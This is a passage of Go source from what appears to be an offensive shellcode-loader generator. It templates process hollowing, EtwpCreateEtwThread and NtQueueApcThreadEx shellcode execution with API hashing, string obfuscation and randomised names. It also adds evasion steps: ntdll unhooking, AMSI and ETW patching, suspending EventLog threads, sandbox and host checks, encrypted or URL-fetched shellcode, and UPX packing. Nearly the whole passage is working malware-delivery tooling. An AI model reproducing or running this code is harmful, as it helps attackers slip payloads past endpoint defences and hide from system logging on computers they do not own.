defer {{.Vars.HeapFree}}.Call({{.Vars.procHeap}}, 0, {{.Vars.attributeList}})
{{.Vars.si}}.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer({{.Vars.attributeList}}))
{{.Vars.InitializeProcThreadAttributeList}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}})))
{{.Vars.mitigate}} := 0x20007
{{.Vars.nonms}} := uintptr(0x100000000000|0x1000000000)
{{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.UpdateProcThreadAttribute}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 0, uintptr({{.Vars.mitigate}}), uintptr(unsafe.Pointer(&{{.Vars.nonms}})), uintptr(unsafe.Sizeof({{.Vars.nonms}})), 0, 0)
if {{.Vars.r}} == 0 {
return {{.Vars.err}}
}
}
{{.Vars.cmd}} := append([]byte(` + ObfuscateStr(process, str_obfs) + `), byte(0))
{{.Vars.si}}.Cb = uint32(unsafe.Sizeof({{.Vars.si}}))
{{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.CreateProcessA}}.Call(0, uintptr(unsafe.Pointer(&{{.Vars.cmd}}[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&{{.Vars.si}})), uintptr(unsafe.Pointer(&{{.Vars.pi}})))
if {{.Vars.r}} == 0 {
return {{.Vars.err}}
}
var {{.Vars.returnLength}} int32
{{.Vars.pointerSize}} := unsafe.Sizeof(uintptr(0))
{{.Vars.ZwQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0, uintptr(unsafe.Pointer(&{{.Vars.pbi}})), {{.Vars.pointerSize}}*6, uintptr(unsafe.Pointer(&{{.Vars.returnLength}})))
{{.Vars.imageBaseAddress}} := {{.Vars.pbi}}.PebBaseAddress + 0x10
{{.Vars.addressBuffer}} := make([]byte, {{.Vars.pointerSize}})
var {{.Vars.read}} uintptr
{{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.imageBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}})))
{{.Vars.imageBaseValue}} := binary.LittleEndian.Uint64({{.Vars.addressBuffer}})
{{.Vars.addressBuffer}} = make([]byte, 0x200)
{{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBaseValue}}), uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}})))
{{.Vars.lfaNewPos}} := {{.Vars.addressBuffer}}[0x3c : 0x3c+0x4]
{{.Vars.lfanew}} := binary.LittleEndian.Uint32({{.Vars.lfaNewPos}})
{{.Vars.entrypointOffset}} := {{.Vars.lfanew}} + 0x28
{{.Vars.entrypointOffsetPos}} := {{.Vars.addressBuffer}}[{{.Vars.entrypointOffset}} : {{.Vars.entrypointOffset}}+0x4]
{{.Vars.entrypointRVA}} := binary.LittleEndian.Uint32({{.Vars.entrypointOffsetPos}})
{{.Vars.entrypointAddress}} := {{.Vars.imageBaseValue}} + uint64({{.Vars.entrypointRVA}})
{{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.entrypointAddress}}), uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0)
{{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread))
return nil
}`
} else if exec_technique == "etwpcreateetwthread" { // next shellcode execution technique
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwpCreateEtwThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtWaitForSingleObject"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtWaitForSingleObject}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtWaitForSingleObject", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwpCreateEtwThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwpCreateEtwThread", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.NtWaitForSingleObject}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtWaitForSingleObject", str_obfs) + `)
{{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `)
{{.Vars.EtwpCreateEtwThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwpCreateEtwThread", str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
var {{.Vars.addr}} uintptr
{{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
{{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}})
{{.Vars.oldProtect}} := windows.PAGE_READWRITE
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
{{.Vars.thread}}, _, {{.Vars.err}} := {{.Vars.EtwpCreateEtwThread}}.Call({{.Vars.addr}}, uintptr(0))
if {{.Vars.thread}} == 0 {
return {{.Vars.err}}
}
{{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.NtWaitForSingleObject}}.Call({{.Vars.thread}}, uintptr(0), 0xFFFFFFFF)
if {{.Vars.r3}} != 0 {
return {{.Vars.err}}
}
return nil
}
`
} else if exec_technique == "ntqueueapcthreadex" || exec_technique == "ntqueueapcthread" { // next shellcode execution technique
imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetCurrentThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtQueueApcThreadEx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.GetCurrentThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtQueueApcThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtQueueApcThreadEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.GetCurrentThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentThread", str_obfs) + `)
{{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `)
{{.Vars.NtQueueApcThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtQueueApcThreadEx", str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
const (
QUEUE_USER_APC_FLAGS_NONE = iota
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
QUEUE_USER_APC_FLGAS_MAX_VALUE
)
var {{.Vars.addr}} uintptr
{{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
{{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}})
{{.Vars.oldProtect}} := windows.PAGE_READWRITE
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
{{.Vars.thread}}, _, _ := {{.Vars.GetCurrentThread}}.Call()
{{.Vars.NtQueueApcThreadEx}}.Call({{.Vars.thread}}, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr({{.Vars.addr}}), 0, 0, 0)
return nil
}
`
} else if (exec_technique == "no-rwx" || exec_technique == "norwx") {
image_dos_header_struct := `
type IMAGE_DOS_HEADER struct {
E_lfanew uint32
}
`
image_nt_header_struct := `
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
`
image_file_header_struct := `
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
`
image_optional_header_struct := `
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
`
image_data_struct := `
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
`
exports = utils.AppendSlice(exports, []string{image_dos_header_struct, image_nt_header_struct, image_file_header_struct, image_optional_header_struct, image_data_struct})
imports = utils.AppendSlice(imports, []string{"encoding/binary", "unsafe", "golang.org/x/sys/windows"})
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["info"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pebOffset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["imageBase"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["headersBuffer"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dosHeader"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntHeader"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["codeEntry"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10))
execute_shellcode_func = `
func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
`
if (hashing) {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationProcess, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
execute_shellcode_func = execute_shellcode_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `)
{{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
{{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
{{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `)
{{.Vars.NtQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationProcess, str_obfs) + `)
`
}
execute_shellcode_func = execute_shellcode_func + `
var {{.Vars.pbi}} windows.PROCESS_BASIC_INFORMATION
{{.Vars.si}} := &windows.StartupInfo{}
{{.Vars.pi}} := &windows.ProcessInformation{}
{{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `)
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, uintptr(0), windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}})))
var {{.Vars.info}} int32
var {{.Vars.returnLength}} int32
{{.Vars.NtQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.info}}), uintptr(unsafe.Pointer(&{{.Vars.pbi}})), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&{{.Vars.returnLength}})))
{{.Vars.pebOffset}} := uintptr(unsafe.Pointer({{.Vars.pbi}}.PebBaseAddress)) + 0x10
var {{.Vars.imageBase}} uintptr = 0
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.pebOffset}}, uintptr(unsafe.Pointer(&{{.Vars.imageBase}})), 8, 0)
if {{.Vars.r1}} == 0 {
return {{.Vars.err}}
}
{{.Vars.headersBuffer}} := make([]byte, 4096)
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBase}}), uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])), 4096, 0)
if {{.Vars.r2}} == 0 {
return {{.Vars.err}}
}
var {{.Vars.dosHeader}} IMAGE_DOS_HEADER
{{.Vars.dosHeader}}.E_lfanew = binary.LittleEndian.Uint32({{.Vars.headersBuffer}}[60:64])
{{.Vars.ntHeader}} := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])) + uintptr({{.Vars.dosHeader}}.E_lfanew)))
{{.Vars.codeEntry}} := uintptr({{.Vars.ntHeader}}.OptionalHeader.AddressOfEntryPoint) + {{.Vars.imageBase}}
{{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.codeEntry}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0)
if {{.Vars.r3}} == 0 {
return {{.Vars.err}}
}
{{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread))
return nil
}
`
}
//
// shellcode execution techniques end here
// now the loader will be built by putting all the functions together
//
// append shellcode execution function
functions = utils.AppendString(functions, ParseTemplate(execute_shellcode_func, Main))
var main_func string
imports = utils.AppendString(imports, "log")
// check if loader must be a DLL to compile the code like so
if (format == "exe") {
// define main function
main_func = `
func main(){
var {{.Vars.err}} error
`
} else if (format == "dll") {
imports = utils.AppendString(imports, "C")
// define main function
main_func = `
func main(){}
//export ` + func_name + `
func ` + func_name + `(){
var {{.Vars.err}} error
`
}
// add sleep at first
if (sleep_time) {
main_func = main_func + `
{{.Vars.sleep_func}}()
`
}
if (username != "") {
main_func = main_func + `
{{.Vars.username}}, {{.Vars.err}} := user.Current()
if {{.Vars.err}} != nil {
return
}
if ({{.Vars.username}}.Username != ` + ObfuscateStr(username, str_obfs) + `) {
return
}
`
}
if (computername != "") {
main_func = main_func + `
{{.Vars.computername}}, {{.Vars.err}} := os.Hostname()
if {{.Vars.err}} != nil {
return
}
if ({{.Vars.computername}} != ` + ObfuscateStr(computername, str_obfs) + `) {
return
}
`
}
// add sandboxing functions
if (sandbox) {
main_func = main_func + `
if {{.Vars.sandbox_func}}() {
return
}
`
}
if (unhook != "") {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.unhook_func}}(` + ConvertSliceToStrFormat(dlls_to_unhook, str_obfs) + `)
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
}
// use Phant0m technique to suspend EventLog threads
if (phantom) {
main_func = main_func + `
{{.Vars.eventlog_pid}}, {{.Vars.err}} := {{.Vars.get_eventlog_pid_func}}()
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
{{.Vars.err}} = {{.Vars.phantom_func}}({{.Vars.eventlog_pid}})
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
}
// enable ACG Guard
if (acg) {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.acg_func}}()
if {{.Vars.err}} != nil {
fmt.Println({{.Vars.err}}.Error())
}
`
}
// enable BlockDLLs
if (blockdlls) {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.blockdlls_func}}()
if {{.Vars.err}} != nil {
fmt.Println({{.Vars.err}}.Error())
}
`
}
// add AMSI patch
if (!noamsi) {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.amsi_patch_func}}()
if {{.Vars.err}} != nil {
fmt.Println({{.Vars.err}}.Error())
}
`
}
// add ETW patch
if (!noetw) {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.etw_patch_func}}()
if {{.Vars.err}} != nil {
fmt.Println({{.Vars.err}}.Error())
}
`
}
// convert shellcode to hex as it is easier to work with it
shellcode = []byte(hex.EncodeToString(shellcode))
var shellcode_def string
// check whether a encryption was used or not
if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") {
shellcode_def = `
var {{.Vars.enc_shellcode}} []byte
`
main_func = main_func + `
{{.Vars.enc_shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `")
`
} else {
shellcode_def = `
var {{.Vars.shellcode}} []byte
`
if ((!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist))) || (calc) {
main_func = main_func + `
{{.Vars.shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `")
`
} else {
main_func = main_func + `
{{.Vars.shellcode}}, {{.Vars.err}} = {{.Vars.get_shellcode_from_url_func}}(` + ObfuscateStr(input_file, str_obfs) + `)
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
}
}
// decrypt shellcode
if (strings.ToLower(encrypt) == "aes") {
main_func = main_func + `
{{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.aes_decrypt_func}}({{.Vars.enc_shellcode}}, ` + ConvertBytesToStrFormat(iv) + `, []byte("` + string(key) + `"))
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
} else if (strings.ToLower(encrypt) == "3des") {
main_func = main_func + `
{{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.tripledes_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
} else if (strings.ToLower(encrypt) == "rc4") {
main_func = main_func + `
{{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.rc4_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
`
} else if (strings.ToLower(encrypt) == "xor") {
main_func = main_func + `
{{.Vars.shellcode}} := {{.Vars.xor_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
`
}
if (sleep_time) {
if (utils.RandomInt(1, 2) == 1) {
main_func = main_func + `
{{.Vars.sleep_func}}()
`
}
}
if (exec_technique == "processhollowing") {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}}, ` + ObfuscateStr(process, str_obfs) + `, ` + strconv.FormatBool(blockdlls) + `)`
} else {
main_func = main_func + `
{{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}})`
}
main_func = main_func + `
if {{.Vars.err}} != nil {
log.Fatal({{.Vars.err}})
}
}
`
// parse main function
if (!strings.HasPrefix(input_file, "http")) {
imports = utils.AppendString(imports, "encoding/hex")
}
exports = utils.AppendString(exports, ParseTemplate(shellcode_def, Main))
functions = utils.AppendString(functions, ParseTemplate(main_func, Main))
fmt.Println("[*] Obfuscating variables and functions...")
time.Sleep(100 * time.Millisecond)
if (format == "dll") {
fmt.Println("[*] The function of the DLL to execute shellcode is: " + func_name)
time.Sleep(100 * time.Millisecond)
fmt.Println(" > Execute the DLL like: rundll32.exe " + output_file + "," + func_name + "\n")
}
// write Golang code to file
err = WriteLoader("loader.go", imports, exports, functions)
if err != nil {
log.Fatal(err)
}
defer os.Remove("loader.go")
fmt.Println("[*] Compiling shellcode loader...")
time.Sleep(100 * time.Millisecond)
fmt.Println(" > Payload format is set to " + strings.ToUpper(format))
time.Sleep(100 * time.Millisecond)
if (verbose) {
fmt.Println(" > Using Golang compiler")
time.Sleep(100 * time.Millisecond)
}
// compile source code
err = CompileLoader(format, output_file, compress, arch)
if err != nil {
log.Fatal(err)
}
// compress loader using UPX
if (compress) {
_, err := exec.LookPath("upx")
if err == nil {
fmt.Println(" > Compressing " + output_file + " using UPX, this may take some time")
time.Sleep(100 * time.Millisecond)
err = exec.Command("upx", "--best", "--force", output_file).Run()
if err != nil {
